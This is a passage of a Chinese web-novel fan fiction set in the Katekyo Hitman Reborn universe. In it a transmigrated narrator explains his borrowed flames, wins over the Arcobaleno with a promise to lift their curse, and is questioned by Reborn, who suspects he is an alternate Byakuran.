试想,我为什么会无法产生火焰?那是因为世界意识在排斥我,让我游离在这个世界体系的边缘。 虽然这个问题确实给我造成了些麻烦,但总体而言,却杜绝了我被同化的问题。 可若是纲吉的火焰体系更换到我身上,让我能够自行生产火焰,那我不就等于强行把自己嵌入这个世界了吗? 到时候会发生什么,谁也无法保证。 我总不能指望着卷王在关键时刻拉我一把吧? “替换”——这一方案无异于让我和纲吉同归于尽。 不双赢也就罢了,还想要双输。 “承诺要为尤尼酱提供保护的人是我,我不能让别人替我受过!”纲吉一把抓住了我的手腕,我看到他手背上迸起的青筋,不过意外的,我的手腕并没有感觉到任何压力。 他只是在对自己施力,不是对我,面对我的时候,他那双水灵灵的棕色大眼睛里,写着他自己都没有意识到的安抚,“放心,不论有没有火焰,我都会承担起我应尽的责任。” 太有270身上靠谱大人的那味儿了。 而且纲吉的声音、纲吉的眼神、纲吉的动作……就是有一种魔力,让人不由自主地想要服从。 跟来的狱寺最先受到“蛊惑”,忠犬之力大爆发,恨不得以头抢地来保证,不论纲吉变成什么样子,都是他一辈子会追随的十代目。 有了他开头,接下来山本就用不同的话语,表达了相同的意思;在后面就是了平大哥、库洛姆,就连蓝波都吹着鼻涕泡抱在他脖子上,说着“只要笨蛋纲一直给蓝波大人买苹果糖,蓝波大人就会勉为其难地一直保护笨蛋纲”这样的话。 纲吉本人的守护者们都这样说,其他包括强尼二、风太在内的所有成员都是相同的态度。 沢田纲吉,一款非常火爆脱销的糖衣炮弹、专业魅魔,连我都差点抵挡不住,想要点头。 不不不,我要坚定一点,我是来圣地巡礼的,不是来和巡礼对象同归于尽的! “我从不怀疑你的觉悟。”我真心实意地说着。 哪怕是在当年贴吧,我看过的无数OOC到连沢田奈奈都认不得纲吉的同人里,纲吉都是那个极少黑化、从不放弃的角色。 这样的纲吉,我就是怀疑他的智力,都不会怀疑他的毅力,“但恕我不能苟同。” 纲吉似乎还想接上我的话茬说什么,我却马上打断了他的“魅魔施法”,抢先说话——话语权,是自己抢来的! 我一边猜测着Reborn多次表露的异常情绪,一边超级编编编,“别误会,这也不是为了你,而是为了我自己。更何况——” 我深吸了一口气,已经有了想法,遂开口道:“我的这种情况,也不是今天第一天了。” 第145章 天地可鉴, 我嘴里没一句实话——咳,是没一句瞎话。 把时间线拉长,我的火焰产出存疑也不是第一天的问题了, 狱寺不是还给我上过专业课吗。 我没学会, 还差点把狱寺气出个好歹来。 狱寺和山本都是不同类型的天赋学霸,他们的方法,旁人很难复刻。关键时刻, 还得看卷王,抛开事实不谈,难道祂不算是一个经验丰富的好老师吗? 我单方面承认,祂绝对是。 虽然目的不纯, 但成绩绝对斐然。 “不是第一天?”入江正一可能对我身上的很多地方都产生过疑问, 但他绝对没有怀疑过我那有点离谱的火焰战斗力。现在突然听说,我早有火焰枯竭的现象,这种不合逻辑的事怎么能让他不起疑,他那24小时全天候运转的CPU有点冒烟了,“那是什么意思?” 他像是一时无法理解我所说的话一样, 明明是如此直白的话语, 他却还是在问什么意思。 斯帕纳和他有一样的想法,惊讶激动之间咬碎了嘴里用来补充糖分的棒棒糖, “不可能, 火焰枯竭的状态下,绝对做不到刚才的事。” 他选择了最近最直接的一个时间节点, 一个所有人都亲眼所见的时间节点。 不需要斯帕纳详说详解, 任谁都能直观地感受到, 我使用过大量的火焰。 刚才我那站不稳的状态, 也是过耗的表现之一。 彩虹之子们的感受更为深刻。 风一下子就跳上了我的肩膀, 轻巧地没有一丝重量。不过,他并没有贸然帮腔,靠近我之后只是让我伸出手腕来。 他竟然要给我把脉?! 他竟然在这个类型的漫画世界里给我把脉,一个小小的手,全手张开还没有我的手腕平面大,看上去很是滑稽。 这对吗? 但风老师傅又确实拥有一张非常权威的脸,气质十足,让人完全不会怀疑。 内练一口气,外练筋骨皮,武道魁首会把脉,没毛病。 威尔帝就没有风那么客气了,他甚至没有入江正一怀疑自己知识体系的过程,就直接自信开口,“不可能,绝对不可能。火焰是以觉悟为引,由精神意志转化而来的实体力量。火焰枯竭预示着精神意志的枯竭,都已经枯竭了,又要如何进入火焰搭建起来的意识空间?你不是在和我开玩笑的吧。” 他重音强调了最后一个“我”字,显然是在告解我不要想在他这个专家面前蒙混过关。 话虽如此,但对我来说,火焰和意识完全是两个不同的领域呢。 我并不着急自证,倒是想先看看风把脉的结果。 这可是彩虹之子级别的老中医,机会难得。 “等等,等等,我脑子有点乱。”史卡鲁摸着自己的头盔,眼见着最温柔、最无害的风跳到了我身上,他赶紧不动声色地拉开和Reborn的距离,也跟了过来,“所以是什么意思,他现在精神枯竭了的意思吗?也就是说他变傻了?” 他顿了一下,然后抬头看着我,直接就问,“你傻了?” 我:? ……6 有一种被骂了的错觉,从各种意义上来说,都有点一言难尽呢。 微笑.jpg 史卡鲁小兄弟,Reborn总是欺负你,真不是没理由的。 “他傻没傻我不知道,但你肯定是开始说胡话了,史卡鲁。”玛蒙飘在空中,小披风“呼啦呼啦”的,还挺威风。 如果玛蒙现在摘下来兜帽,说不定还能让我们看到TA翻白眼的样子。 “你说什么!”史卡鲁握紧拳头不服、史卡鲁想要大声反驳,史卡鲁想要说反弹来制裁玛蒙,史卡鲁看到了Reborn犀利的眼神,史卡鲁选择闭嘴,史卡鲁再起不能。 真不愧是彩虹之子中唯一一个名头同样响亮,但出场就是搞笑的角色。现在这个节骨眼儿上,像他这样的搞笑役角色已经不多了。 他的存在,一下子就活跃了气氛,紧绷的空气都瞬间松弛了下来。 史卡鲁,简直是人形开心果。旁边有这样一个人在,心情怎么都是放松的。 突然察觉到了他存在的必要性。 风老师傅完全不受外人的言语影响,认真把完脉才收回手来,“身体倒是没什么大问题,就是肝火旺盛,熬夜过度,以至于肾气有点虚。” ……嗯? 什么,风在说什么? 虚?谁虚,我吗?! 虽然我现在脸色发白、眼前发黑、四肢无力、腰膝酸软、神疲乏力、大脑迟钝,但我绝对不可能肾虚! 我目光坚定,在这个问题上绝不退步! “不过,倒是很容易调理——” “神医,救我。” 这不叫滑跪,而是识时务者为俊杰,做人怎么能忌医讳疾呢,多不好。 听从医生建议,享受健康人生。 我这么听话的病人,在二次元世界里不多了。风老师傅看我的眼神里,莫名充满了慈爱。 “那个,是不是有点……偏题了啊。”库洛姆弱弱的声音从角落里传来,她说话间甚至还举起了手,像是个乖乖学生。 虽然没有亲自开口,但库洛姆背后的六道骸一定非常在意7^3石板的激活时间,十年后的库洛姆的命还悬在高空呢。 确实是只顾着胡闹了。 正一的眼神倒是一直定定地留在我身上,没有移开过。 我叹了口气,坦诚道:“火焰枯竭是真的,能够使用火焰也是真的,这两件事其实也没有那么冲突吧?” 威尔帝一推眼睛,不知通过什么方法,打开了Reborn在彭格列基地的秘密通道,墙面打开一个洞,一把柔软的沙发椅·彩虹之子特供版推了出来。他一下子跳起来,坐好扶稳,还跷起了二郎腿,完全不把自己当外人。 显然他对我的理论很有兴趣,“愿闻其详。” “很简单,枯竭的是我自己的火焰,但我使用的,却不是我自己的火焰,”我一摊手,这次没有在卖关子,“这二者本就不是一个体系里的,自然也就不冲突了,对吧?” “但这种事……”入江正一能轻易地跟上思路,但他的知识体系里却很难马上认同我所说的事,“怎么可能,一个人只能有一套产生火焰的系统才对!” 他说出这句话,我还没有什么反应,就见Reborn猛一转头,视线在正一和我之间流转,若有所思。 我:? 要不你有话直说呢? 你这样总是欲言又止,真的很让我心慌。 “你仔细想想啊,入江君。和石榴对战的时候我用的是岚属性的火焰,面对白兰的时候我用的则是大空的火焰,刚才和尤尼合作的道理也是一样。虽说都是大空属性,但大空与大空之间,也有微妙的属性区别——尤其是7^3之间的大空。”我强行让自己略着Reborn的视线。 伽马原本并未加入到我们的话题中来,他所在的位置最远,从开始到现在,他一直没有离开过尤尼酱的身旁。 但我最后这句话,显然触发了关键词,挖出了他不久前的回忆。 毕竟,我在不久之前才刚刚和他单独提过,我可以尝试模拟火焰这件事。 他的视线穿过人群,和我相撞,却并未开口。 伽马大概是想要观望一下我到底愿不愿意全盘托出,我对他有大恩,如果我不说,他也绝对不会多嘴。 这怎么不算是一种维护呢? 不愧是我,如此轻易就攻略下了伽马。 “准确地来说,是无属性的火焰。”威尔帝还惦记着在精神世界里没有做成的交易,他这个科学狂人的本能驱动着他,让他根本无法放弃自己的好奇心,“无属性才是你的底色。” 我但笑不语,算是默认了威尔帝的话。 “面对岚,你也会变成岚;面对大空,你也会变成大空;要是面对雷——”只要一点提示,威尔帝的推论就能迅速推进下去,他驱动着胸前的奶嘴,青绿色的火焰如电光般朝我而来。 威尔帝根本没有掩饰自己的目的,为了防止有人插手碍事,还刻意提前靠近了我,确保他的火焰距离我足够近。 风老师傅似是要阻止,却被我拦了下来。 有人按照我的心意、我的剧本前来试探,我简直是求之不得好吧。 雷之属性的火焰距离我如此近,这可比之前每一次的拟态都要容易。以威尔帝的力量为蓝本,两股火焰相撞,同样的属性、同样的量级彼此倾轧,火焰很快便完全抵消。 威尔帝神色满意,“果然,你的火焰是依赖于别人而产生的。不论内在逻辑究竟是现场复刻还是调动储存,本质都是别人的火焰,而非你的。你无属性的底色像是燃料,所有的火焰都可以点燃,点燃之后,自然就是火引的颜色。” 他几乎已经肯定了这个答案。 风老师傅露出了不赞同的眼神。 我马上安抚道:“我有分寸。” 所以不用担心,一来威尔帝只是心存试探,并无战意;二来威尔帝是科学家,这个战斗人员,真要是打起来只能和我三七开,我三分钟干翻他七次。 风老师傅摇摇头,“不,我是想说,你这样只会更虚。” ……什么?! 可恶,失策了,原来风老师傅想阻止的是这个! 这还能治吗? 我看威尔帝的眼神瞬间就带上敌意。 威尔帝:?……欲言又止。 我用力清了清嗓子,感到了一丝丝的尴尬,“咳——总而言之,我的情况不出现在这个世界,也不是能在这个世界解决的问题。与其浪费时间做无用功,不如看看7^3的状态。尤其是奶嘴,想要快速恢复全盛的状态,对需要尤尼的配合。” 因为,现在也就只有尤尼酱不在全盛期了吧。 终于提到了这个话题,玛蒙突然一个俯冲,“唰”的一下近到了我面前,“喂,你之前说的,解除彩虹之子诅咒的事,到底有没有谱?” 我的火焰枯竭不枯竭、纲吉的战斗力强不强——这些对玛蒙来说都无所谓,玛蒙最关注的果然只有彩虹之子的诅咒这一件事。 在精神世界里,玛蒙就怀疑我给TA画了大饼,现在找到机会,当然就要在现实世界里认真问出一个答案来。 “解除彩虹之子的诅咒?”很快啊很快,伽马“啪”地一下子就站了起来。 虽说,最直观接受大空诅咒的是露切,但大空奶嘴到底还是传到了尤尼酱的身上,诅咒自然也一样传了下来。 只不过,这份诅咒并不仅仅是婴儿化这一项。所谓变成婴儿,只是诅咒的一种外化表现,它真正代表的是一种被诅咒的命运形态。 Reborn是唯一一个没有出现在精神世界的彩虹之子,我专门关注着他,就是想在他的脸上看到惊讶、诧异,想要看到Reborn神色大变。 但我失望了。 他真是不动如山。 都已经说到解除诅咒这种关系到他切身利益话题了,他依然没有什么明显的反应。 果然是高人。 “诅咒?什么诅咒?”纲吉一下子就蒙了,猛地扭头看向了Reborn。 不愧是到彩虹之子篇都没认出来大Reborn的天然呆纲吉,我明明记得未来篇就揭示了彩虹之子诅咒的存在……难道是我记错了,还是我带来了某些蝴蝶效应? 真是师父不急,急死徒弟,纲吉没有得到Reborn的直接回应,有点着急,“Reborn你快说句话啊!” 诅咒,一听就不是好东西。 事实上,彩虹之子的诅咒本该是个秘密的,里世界中的传说,只提到了彩虹之子的强大,并未提及什么诅咒。 只不过,能够在紧急时刻,直接进到尤尼酱专用医疗室的,都是绝对核心的成员,值得信赖,没什么好隐瞒的。 玛蒙本质上也是彭格列的人,因此才能在众目睽睽之下,直接问出口。 “你,难道之前是在骗我们吗?”玛蒙没有被纲吉的声音分散注意,几秒没有得到我的答案就也急躁了起来。 看得出,玛蒙真的非常在意自己身上的诅咒,比其他任何彩虹之子都在意,甚至和威尔帝那种带着科研精神的在意还不一样。 或许是作为幻术师,玛蒙更能感受到婴儿身体这层表象之下诅咒所真正代表的命运,所以才格外在意。 我一笑,点头,“当然是真的。7^3石板重启会刷新世界线,当然也包括你们身上的诅咒。那原本就是7^3所代表的命运的一部分,重启刷新的时候,谁例外,你们都不可能例外的——我说的每一个字都是真的,不信可以问问纲吉。” “诶?问我——?!”纲吉指着自己,“我什么都不知道啊!” 他甚至连彩虹之子的诅咒究竟是指什么,都知之甚少。 “蠢纲,他指的是你的超直感。”Reborn一眼看破关键。 玛蒙不仅是彭格列独立暗杀部队的一员,而且还曾作为反派小BOSS与主角团为敌,又当朋友、又当敌人,这样的玛蒙才最清楚彭格列十代目的所有能力。 尤其是,这还是270手下的十年后的玛蒙——好吧,鉴于彩虹之子相继死亡,所以也不是完整的“十年后”。 但玛蒙毫无疑问是未来的玛蒙,对纲吉了解得非常详细——尤其是“超直感”这一项。 如此能力简直是幻术师的天敌,玛蒙相信天然测谎仪·纲吉这种能力的准确性。 纲吉被包括拉尔在内的七双彩虹之子的眼睛锁定,一下子压力山大,手忙脚乱地退了两步,大脑和嘴一时间商量不出该如何发言。 他的眼神飘忽着,最终还是在我的期待中,落在了我身上。 我耸了耸肩,“我可以重新说一次,给你留够判断时间。不过——超直感是被动技能,不需要刻意启动,你应该已经有答案了才对。” 至少有了大方向的感知。 我并不希望纲吉能够斟酌到我言语中的每一个字,我也料定,他绝不会为难我,让我一字一句重复——我都已经被判定为肾虚了,谁还要为难我,我就马上祭出老中医的医嘱。 “不用,”纲吉果然摇头,棕色的瞳孔中倒映着我的面孔,“如果要我来说的话……纲不吉先生一直以来给我的感觉都是一样的,是真话。” 天哪,怎么会有人的眼睛能如此清澈,仿佛没有经历过任何外物的污染! 我心里升起了那么一丢丢的负罪感。 但该说不说,超直感就是权威。 纲吉一点头,玛蒙马上就卸下了防备,开始认真——甚至是着急地准备加入世界重启的计划中。 最难搞的人搞定了,进度条几乎被拉到了片尾曲的附近。 果然,还是得在彩虹之的头顶吊根儿萝卜,他们跑得才快。 现在,玛雷指环已经放在了7^3石板上;彭格列指环的拥有者们既着急返回过去,又着急将白色装置里的大家救出来;现在连彩虹之子也彻底“沦陷”了。 只等尤尼酱一醒来,就能马上启动完全体7^3。 我按住手环,感受着手环和皮肤间储存的热量—— 激动吗卷王,我和你最后的一段利益共向,马上就要结束了。 该开战了。 第146章 我并不清楚那天在场的, 到底有多少人接受了我的说辞,也不清楚这些人对我的说辞具体接受了多少。 但不论信任与否,激活完整的7^3石板、重启世界线, 都已经势在必行, 不会因为某个人的心态而改变。 彭格列指环的拥有者们、彩虹之子奶嘴的拥有者们,大家都有不得不重启世界的理由,即使重启之后的未来也是一片未知, 可这一步是怎么都无法后退的。 而且,我自认为自己还是很值得信任的来着。 错开碧洋琪的厨房时间,我美美地饱餐了一顿,一人能吃四人份。 尤尼酱在两天前完全清醒了过来, 她的生命力没有耗尽, 熊熊燃烧的大空之火依然在身体中跳跃,只一天就能下地走动了;我身体状态的恢复更快,毕竟我那不是穷凶,而是极饿,多吃几顿补回来就好了。 重启计划已经被推演了多遍, 随着包括尤尼酱在内的彩虹之子们恢复状态, 计划眼看着就要执行,基地里的气氛也愈发微妙起来。 毕竟这可不仅仅是拯救世界, 而是拯救八兆亿个世界——这么大的事, 谁都免不了紧张。哪怕是有过多次轮回经验的六道骸,最近都免不了有些躁动。和他又见了几次, 他那“Kufufufu”的标志性笑声里, “fu”的声音在直线上升。 他心情出现重大变化的时候总是这样。 10+六道骸尚且如此, 就更遑论是其他人。 这几乎已经到了饭点儿, 食堂里却还空空如也, 除了我之外,竟然连个来吃饭的人都没有。 人紧张的时候,果然是没有胃口。 我这样想着,又咬了一口肥美金枪鱼。 好吃。 突然,我身后传来一个清脆的童音,“Ciaos!” 这么标志性的打招呼方式,就算不回头也知道是谁了。 我瞳孔一缩,完全没有预见过Reborn的到来。 他是一个人来的,而且也挑了我一个人的时候。 这样的机会并不多,正一想要在启动7^3之前尽可能多地了解细节,完善重启过程,所以我这两天多和正一混在一起。 而Reborn不仅有很多东西还要在计划正式启动之前,辅导纲吉;还要准备好摘掉维持自己诅咒和生存的奶嘴,尝试使用强尼二新制作的火焰存储和替代装置,这两天也几乎没有单独空闲的时间。 在这种形势下,Reborn既然特意来了,就说明他刻意挑过时间——这就是专门要和我单独说话了。 我莫名有种上课突然被老师点名的抽查感。 真紧张起来了,一下子没了胃口。 说实话,大多数时候,Reborn身上并没有多少杀气。虽然世界第一杀手什么的,真的很酷,但Reborn身上那属于第一杀手的架子却少得可怜,他仿佛可以随时随地融入到任何气氛中。 这或许才是真正的杀手应该具备的素质。 尤其是在纲吉身边,Reborn身上充满了作为教师的信念感——就像教师面试时的那种信念感,太真实了。 对我来说,他身上的教师感,可比杀手感给我带来的压力大多了。 就像现在,他打招呼的声音都让我后背发毛。 “这个时间,没有和纲吉在一起吗?”我呼出一口气,沉下心来,“他好像很紧张的样子。” 肉眼可见的紧张。 我已经特意告诉了他,到时候启动7^3必定要有一个主导者。这个主导者既需要属于7^3,又要能领导7^3——换而言之,必须是三大基石中的一个大空。 如今,白花花已死;尤尼酱为了复活彩虹之子花费了大量精力,短时间的休养可以调整身体状态,却无法完全恢复精力。 这个人选只能是纲吉——新的主线任务增加了,我真的好像一个无情发布任务的NPC。 我将自己从这场7^3石板的激活计划里,完全剔除了出来。 毕竟我几乎已经能确认,7^3的激活会成为卷王独立的契机,我想要消灭祂,自然就不能让祂有机会利用那个契机,将祂自己和我联系起来。 已经到了你死我活的地步,我实在没有和卷王共进退的意思。 这不会就是Reborn今天特意来找我的理由吧? 毕竟指明让某个人主导负责如此复杂未知的事,听起来确实不像是能善始善终的样子。 但转念一想,纲吉可是主角,这样的事已经不是第一次经历,也不会是最后一次。 我转动椅子,撞上了Reborn的视线。 总觉得……他不是为此而来。 “他是彭格列的十代目BOSS,要是连这点事都做不来,就给我去死吧。”Reborn是怎么用这样稚嫩的语气和青涩的音色,说出如此冰冷话语的? 他的眼神…… 这句话绝对是认真的! 我打了个冷战。 Reborn帽檐上的列恩吐了吐舌头,仿佛是在应和自己的主人一样。 纲吉,可怜的主角君,别说是Reborn,就连列恩都能随意“欺凌”他。 “但Reborn君来这里——总不会是来吃饭的吧?”面对Reborn的时候,我总是克制不住地小心翼翼起来。 “当然不是,我是为你而来的。”他非常坦诚,没有打一点马虎眼。 “我?”我想让自己表现出一点惊讶,但由于我实在是太不惊讶了,导致只是眼角一抽,上半张脸在惊讶,下半张脸上微抿着嘴很平静。这样混在一起,就显得我很扭曲,“关于7^3的事,我已经都说过了。” “和那个没有关系,用人不疑,我并不是在怀疑你。”Reborn一眼就看穿了我心里的忐忑——或许,他在很久之前就已经看穿了。 那你是来做什么? 我眉毛一挑,用眼神询问。 “和其他人、其他事都没有关系,单纯是我个人的好奇心。”Reborn那双眼睛仿佛已经预见到了什么一样。 他仿佛知道,在7^3启动、世界线刷新之后,就再也没有现在这样的机会了。 也是,哪怕是明面上的推演结果,世界重启我也是要回到自己世界的。 这是最后的机会。 有好奇心太正常了,我放下心来,点了头,“好奇什么?我吗?” “我只有一个问题。”Reborn伸出一根手指,“——你是谁?” 我就知道,不论在哪个世界,这都是个无法逃避的问题。 我连那么搞笑,又有指向性的名字都起了,事到如今,难道还能避开同位体的身份吗? 躲是躲不过的。 既然躲不过,我反而更坦然。 正打算开口认下来,谁知Reborn那根本不算是一个问题,因为他完全没有给我回答的机会,自顾自地就说了下去,“你是和尤尼一起来到了这个世界,我最初以为你是某一任彩虹之子的大空——‘彩虹时而出现时而消失、缥缈无定’。如果你是彩虹之子大空的话,那么不论是尤尼在其他世界寻求庇护时出现在你面前,还是你跟随尤尼来到这个世界,都顺理成章。” 啊? 彩虹之子? 我吗? 竟然不怀疑我是纲吉,而怀疑我是尤尼吗? 吓得我赶紧摸了一下自己。 其他的也就罢了,性转是不可能性转的,这辈子不可能性转的。 可以当男娘,但不能性转,不然视角分类就要从男主换成女主了。 还在还在,我的性别还在。 “这并不意味着你就是尤尼,”Reborn的话不停,“如果按照横纵双线同时存在的理论,那么对于可以出现在任意‘交点’彩虹之子的大空来说,过去、现在、未来三者就可以处于同一个平面。如此,你就有可能是过去、或是未来某一任彩虹之子的大空。不然的话……你为什么能对彩虹之子大空的特性了解得那样清楚。尤尼告诉我,她也是在切入诸多‘交点’之后,才理清了大部分。即便如此,‘理清’和‘掌握’之间也隔着鸿沟,她花费了很大的力气才顺利返回我们的世界。” ……? 这么重要的细节,动漫为什么没有详细展示一下啊! 我不知道啊,彩虹之子的特性难道不是尤尼酱张口就说出来了的吗? 我仔细地回忆—— 回忆—— 不行,太久没看了,完全回忆不起来原作到底有没有介绍这些细节中的细节。 “但你否认了这个答案。”我开口。 虽然Reborn说得笃定,可我却听出了他的语气转折,前面这些都只是后续的铺垫。 Reborn不置可否,也没有提到底为什么否了“彩虹之子大空”这个答案,只是自顾自地继续说了下去,“然后,因为你名字的特殊性,我也怀疑过你是某个世界线中的阿纲。” 这还是预料之中的。 毕竟,我名字的指向性确定太强了。 当然,Reborn不会只因为一个无法考证真假的名字就胡乱猜测,他继续论证道:“你很显然认识我,看我的眼神时而期待、时而畏惧、时而回避,但无论是哪种,你对我——不,应该说是对整个彭格列的信任都没有掩饰过,哪怕是对六道骸这样的人。” 噗—— 六道骸要报警了,反面教材怎么全是他一个人。 彭格列里再找不出第二个看上去两面三刀的人了吗? ……好像还真没了。 六道骸,明明也是另一种意义上的忠犬,但却因为自己给自己塑造的形象太过成功,以至于连玛蒙这样的金钱主义者看上去都比他真诚。 我嘴角抽动,忍住了想要笑出来的冲动。 “但矛盾点就在于,阿纲拥有的彭格列指环所代表的是纵向时间线,而时间线和空间线两种能力无法交互。彭格列指环在没有7^3石板作为介质的情况下,绝对无法干涉平行时空的力量,就像白兰也无法在没有阿纲帮助的情况下,轻易干涉彭格列的时间线一样。”这个结论来源于正一科研小组研究7^3石板过程中的某一次小结,Reborn果然时时刻刻都在关注着彭格列基地内的一切进度。 要是不展示一下Reborn对基地发生事件的了解,别人还真以为他那遍布整个基地的密道是为了吓纲吉、搞节目效果而存在的。 相信我,真不是。Reborn的密道有正经用途——或暗杀、或探听、或是增加自己的工作效率,都是正经事儿。 至于总是给纲吉带来的惊吓效果,那只是一个令Reborn愉悦的小巧合而已。 真的,完全是巧合。 “难道我就不能夺取了7^3石板吗?”Reborn的态度影响着我的心情,让我也逐渐放松了下来,甚至能主动接茬,“毕竟不论是本体还是投影,7^3石板的介质效果,在所有世界里都存在、也都通用。” Reborn自信一笑,“如果你夺取了7^3石板,那只能证明一件事——你是白兰。” “……啊?”他直接丢了个结论,让我一时间没有反应过来。 “很简单的道理,白兰的目的绝对需要7^3石板。为此,他可以做任何事,杀任何人。在其他所有的世界里,阿纲都没有成功阻止白兰,7^3石板都以种种方式落入了白兰手中,并且最终导致了世界毁灭的结果——这个结果,已经无法辩驳地发生过了。”Reborn自信地勾起了嘴角。 一下子,我的思路也通了。 其实只要倒推,事实就会变得非常清楚。 不论每个世界的过程如何发展,最终的结果都只有一个,白花花胜利、世界毁灭——这是既定事实,已经被确认过的事实。 我虽然没有原话表露过自己的世界已经被毁灭,但在先前和六道骸的对话中却清晰地暗示了这点。 我为什么不明确表示一个已经被确定的事实呢? 我当时为了应对纲吉的超直感,毕竟我的世界可没有被毁灭。但如果从旁人的视角上来看呢? 是会觉得我不忍直说,还是会觉得,世界毁灭这件事对我另有意义? 当然,无论我的主观情绪如何,既然我的世界也被毁灭,那就相当于有了白花花的胜利结算画面。而其他世界走向毁灭世界的直接原因,就是其他的白花花都没有获得关键道具「尤尼酱激活的彩虹之子奶嘴」。 关键道具的缺失,导致白花花无法真正激活7^3石板,所以他最终选择了毁灭世界。 只要这个逻辑链条成立,那么7^3石板在所有世界里,都势必是处于白花花掌控下的东西。 看着Reborn那自信的样子,我不知怎么的,竟胆敢起了杠精之心,“彭格列指环确实无法触碰空间法则,但相对的,白兰不是也没办法介入世界吗?难道我就不能也是‘十年前’的纲吉吗?就像这个世界穿越到十年后的纲吉一样——毕竟,7^3石板也是一直都在白兰手里的。” “你确实很像阿纲,”Reborn点头,一口闷了手上的意式浓缩,“比如,别人都会因为我的杀手杀气而畏缩,但你却和阿纲一样,在我作为家庭教师身份的时候,最为紧张。” 这种区别都能感觉出来?! 这、这合理吗?! 我愣了一下。 就是这愣的一下,让Reborn确定了自己的答案,“看来我的判断没错了。” “是没错。”我打了两下哈哈,“但即使如此,你还是把“我是纲吉”这个答案排除掉了?” “没错,没有玛雷指环或是彩虹之子的力量,是无法穿越平行时空的。这一点,入江在白兰手下的时候,就已经有了确认的答案。”Reborn的话让我感到了一丝丝的微妙。 二者择其一,他已经排除了彩虹之子这个选项,那他不会是在怀疑…… “而且更确定的一点是,非「适格者」,无法真正使用7^3的指环。”Reborn的眼神一下子犀利起来,不过这种犀利却并不具备强烈的攻击性。 我战术性后仰,“啊这……Reborn,你不会是认为,我是白兰吧?” 这个答案一出口,我突然觉得“我是白兰”这个结论,似乎比任何答案都合理。 Reborn一秒都没有犹豫,毫不掩饰地点了头,“不只是我一个人有过这样的猜想。” 让我也猜猜看,这个“不只一个人”中,是不是还包括了某位六道骸啊? 好家伙,怪不得三天两头试探我,原来是有这种猜测。 “同一个世界里,无法存在两个完全一样的同位体,对吧。”Reborn的这个结论,应该是正一亲耳听白花花说过的,所以他没有用疑问的语气,“你出现在这个世界后的第一件事、第一个目的,就是要杀死白兰。只有我能够感受到你那时候的杀气,非常直白——不是要帮谁、不是要挽救什么、也和重启无关,只有单纯的杀戮欲望,你那时候只是单纯地想要杀死白兰。” 出现了!世界第一杀手的杀气感知! 但这也不能怪我,任谁连续穿越几千次、完全看不到穿越的终点,心态都会爆炸的。 我当时以为这一切都是白花花搞的事,看到罪魁祸首,自然就激动了一点。 Reborn怎么连那时候的事都记得这么清楚。 “然后,我还听入江说,你和石榴战斗后,在没有任何指环帮助的情况下,轻而易举地将雏菊、蓝铃和桔梗都拖到了其他的世界。接着,六道骸又提及,你在某个时刻精准地返回了这个世界,并且落在了白兰的眼前。” 我汗流浃背了啊,老R。 你这么一提,还真是处处是破绽。 Reborn只是简简单单平铺直叙,疑点就几乎要溢出了,“其实准确地说,你不是落在了白兰的面前,而是落在了玛雷指环的面前——就像第一次出现在这个世界的时候,你也是出现在选择战的战场上,出现在我们和白兰的面前一样。” ……如果我不是我的话,我就要信了。 这些疑点的逻辑,真的这么顺吗! “你说你是看到了尤尼的灵魂,跟随尤尼的灵魂而来——或许也是真话。毕竟,尤尼的灵魂在其他世界避难,八兆亿个世界,有一个白兰意识到尤尼才是复活彩虹之子、激活7^3石板的关键,也没什么让人意外的。”Reborn的真实身份,不会是什么平行世界的田野娘吧,“而尤尼和我提起过,除了这个世界以外,其他世界的她的灵魂,都以不同种类的方式死去了。” 正是因为知道了白花花有杀死自己灵魂的办法,尤尼酱的灵魂才会选择去其他世界避难。 然后在避难的过程中,再被其他世界的白花花盯上,最终在不知情的情况下,将其他的白花花引回了自己的世界。 以白花花的节操,世界都毁灭了,杀死平行时空的自己再取而代之,难道会有什么心理负担吗? 必不可能有心理负担。 可恶,这条逻辑链怎么就能这么通顺?! 连我自己都要被说服了。 更重要的是,我最终确实亲手“杀死”了白花花,我还自豪地到处强调,这个结果是绝对无法辩驳的。 这个亲自下手的过程,甚至是我主动和斯库瓦罗提了要求的。 这下真是跳进黄河也洗不清了。 “复仇者监狱的消息,Ghost死了。”Reborn不提,我都要忘了这号人物,奇怪的证据增加了,“北美战场清扫出来的资料和六道骸作为间|谍时获取的情报相互验证,真六吊花中的雷之守护者Ghost就是白兰的同位体。他的存在不仅证明了同位体可以在其他世界存活,还证明了同位体不能以原本的模样在其他世界存活——换而言之,同位体之间可以流动到彼此的世界,但同一个世界中、同一个时间里,却只能存在一个真正的白兰。” Reborn停顿了两秒,“如果从这个结论出发来想,不论是你对玛雷指环的使用、对7^3石板的了解,对局势的判断,还是想要杀死白兰和Ghost的意志,都有了解释。” 在所有的真六吊花中,Ghost是唯一一个死得最彻底的。 天地良心,那是卷王的锅。 我竟然在给卷王背锅! 终于,给人甩锅者,终被人甩锅。 可以窥探所有平行世界的白花花,本来就应该对这一切都很了解;同时,既然所有的白花花都共享知识和经历,那么有一个将同位体Ghost拖入这个世界的白花花存在,就应该有更多的白花花知道可以作为同位体穿越。 这属于是逻辑闭环。 “认真的?” 这种百口莫辩的感觉是怎么回事? Reborn的神色晦明晦暗,刻意压低的帽檐让人看不清他此刻的表情。 我不禁想,如果他认为我是白花花的话,这个时候来找我对峙,不会是想要消除7^3石板启动之后的隐患的吧? 纲吉做不到这样心狠的事,但Reborn…… 人家是职业杀手,而且是能做到首席的职业杀手——他绝对做得到! 此时,我已经忘记了Reborn在最开头说的那句“用人不疑”,心里全是红色大写的“Warning”! 救大命。 这还没过河呢,不会就已经打算把我这个桥给拆掉了吧? 第147章 哪怕是上了大学, 我再见到中学时期的班主任的时候,依然像老鼠见了猫。 有时候,我甚至怀疑这种刻入DNA的敬畏, 会不会随着我的血脉向下遗传。 Reborn给我的感觉就是这样, 有些来自本能的感觉无法消除,以至于被他豆豆眼注视的时候,我心虚得怂怂。 他不会真要拆了我吧? 他大了一口喘气, “——以上这些,是六道骸最初的猜测。” 嗯?啊?谁? 六道骸吗? 而且还是最初的猜测——Reborn不会说无意义的废话,他既然专门加了“最初”这个定语,就说明这个猜想早已经是过去式。 过去式的东西为什么还要拿出来吓唬我! 说话大喘气真的很开心吗? 好吧, Reborn还真的挺开心的。 意识到这点后, 再去看Reborn,我突然发现他眉眼和肩膀都松了下来,刚才那副攻击欲很强的样子,瞬间烟消云散。 ……可恶,他是故意的! 什么压力, 什么试探, 什么怀疑——都是他故意表现出来的。 Reborn好像从我的咬牙切齿中看出了什么,于是说道:“所以, 我最一开始不就说了吗, 用人不疑。” 对,他是不怀疑了。但这就显得是我心里有鬼, 